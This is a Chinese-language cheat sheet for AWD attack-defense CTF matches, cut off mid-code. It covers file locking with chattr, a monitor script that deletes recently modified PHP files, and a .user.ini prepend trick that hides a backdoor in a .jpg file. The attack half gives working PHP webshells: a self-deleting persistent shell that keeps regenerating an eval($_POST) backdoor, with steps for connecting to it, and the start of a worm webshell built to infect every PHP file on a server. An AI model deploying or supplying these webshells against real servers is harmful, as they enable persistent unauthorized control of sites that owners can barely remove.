#防守
##常规步骤:备份,上waf
###利用chattr命令给文件上锁,防止被删站
chatter: 锁定文件,不能删除,不能更改
+a: 只能给文件添加内容,但是删除不了,
chattr +a /etc/passwd
-d: 不可删除
加锁:chattr +i /etc/passwd 文件不能删除,不能更改,不能移动
查看加锁: lsattr /etc/passwd 文件加了一个参数 i 表示锁定
解锁:chattr -i /home/omd/h.txt - 表示解除
##文件监控脚本
#!/usr/bin/python
#coding=utf-8
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt
import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
#command: find -name '*.php' -mmin -10
command = "find -name \'*.php\' -mmin -10"
su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = su.communicate()
list = STDOUT.split("\n")
#print str(list)
#将文件处理成list类型然后返回。
return list
#读取文件:
def loadfile(addr):
data = ""
#如果文件不存在就跳出函数
try :
file = open(addr,'r')
data = file.read()
except :
return 0
all_data = addr+"\n"+data+"\n\n"
file1 = open("shell.txt",'a+')
#避免重复写入
try:
shell_content = file1.read()
except:
shell_content = "null"
#如果文件内容不为空再写入,避免写入空的。
#print shell_content
if data :
if all_data not in shell_content:
file1.write(all_data)
file.close()
file1.close()
rm_cmd = "rm -rf "+addr
su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
su.communicate()
print "loadfile over : "+addr
if __name__ == '__main__':
while True:
list = scanfile()
if list :
for i in range(len(list)):
#如果list[i]为空就不读取了
if list[i]:
loadfile(str(list[i]))
else : pass
##利用.user.ini配置文件使所有的php文件包含指定文件
###常规操作:使所以php文件都包含waf
auto_prepend_file=waf.php//具体路径和根据实际情况自行改写
###Sao操作:
分别创建两个php文件一个命名为6.php一个为2.jpg
//6.php
<?php
echo '66666'
?>
//2.jpg
<?php
if(@$_GET['shell']=='test'){
phpinfo();
}
?>
创建.user.ini配置文件
auto_prepend_file=2.jpg
访问6.php http://127.0.0.1/1/6.php
url后加上?shell=test后访问
php语句被成功执行
具体用来做什么就看你自己的脑洞了
攻击
常规操作:不死马维权
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.logout.php';
$code = '<?php if(md5($_GET["pass"])=="21232f297a57a5a743894a0e4a801fc3"){eval($_POST["a"]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(8);
}
?>
激活不死马:访问 不死马地址?pass=admin (ps:21232f297a57a5a743894a0e4a801fc3是admin的md5值)
不死马使用:激活后会每隔8秒生成一个.logout.php文件,这是个md5加密的马(如果有文件包含可以生成其他格式的马,利用文件包含将其解析成php)。利用蚁剑连接,地址:不死马地址?pass=admin 密码a
恶心的操作:蠕虫webshell实现批量挂马
蠕虫webshell是实行批量挂马的操作,利用此webshell可以在所有php文件中加上shell语句的包括phpmyadmin文件,可能唯一的解决方法就是删站
shell文件:
<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头,如果没有,就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
$arr_dir = array();
//全局变量,扫到的文件夹
$files = array();
//全局变量,扫到的文件
if (!function_exists('Url_Check')) {
function Url_Check() {
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= '://';
$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
return $pageURL;
}
function file_check($dir) {
//扫描文件夹
global $arr_dir;
global $files;
if (is_dir($dir)